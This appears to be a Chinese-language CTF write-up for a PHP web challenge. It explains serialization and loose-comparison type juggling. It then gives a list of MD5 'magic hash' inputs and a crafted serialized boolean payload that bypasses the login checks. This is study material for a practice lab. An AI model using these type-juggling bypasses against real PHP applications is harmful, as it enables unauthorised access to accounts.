天网管理系统
Notes: 1) PHP序列化与反序列化 serialize() 对输入的数据进行序列化转换 unserialize() 恢复原先变量,还原已经序列化的对象。 比如:$b=array('user'=>"admin",'pass'=>"admin"); $a = serialize($b); $b = unserialize($a); var_dump($b); 结果:string(52) "a:2:{s:4:"user";s:5:"admin";s:4:"pass";s:5:"admin";}" array(2) { ["user"]=> string(5) "admin" ["pass"]=> string(5) "admin" } 序列化中的一些字符所代表的特殊意义(a->array i->int s->string b->boolean ),相当于是对数 组添加了详细的信息,数字代表长度或个数 2) php弱类型
== : 比较运算符号,不会检查条件式的表达式的类型 ===: 恒等计算符 , 同时检查表达式的值与类型 当php进行一些数学计算的时候,当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数 var_dump(0 == '0hhhhh'); // true var_dump(1 == '1ooooo'); // true bool类型的true跟任意字符串可以弱类型相等 ture == "aaa" //true true == 111 //true
true == 0 //false |
Link:http://ctf5.shiyanbar.com/10/web1/
考点:PHP弱类型
点击 登入系统 发现没有一点反应,直接查看源代码
需要满足username参数的值经过md5加密之后等于0
下面的可以任选一个,都满足
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a
0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514
将得到的URL输入到URL中
要想得到结果需满足,password数组已经序列化过,同时反序列化之后$data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'要为真,但不知道‘???’的值是什么,根据提示”伟大的科学家php方言道:成也布尔,败也布尔“可知要用到true弱类型相等
构造参数password的值 a:2:{s:4:"user";b:1;s:4:"pass";b:1;}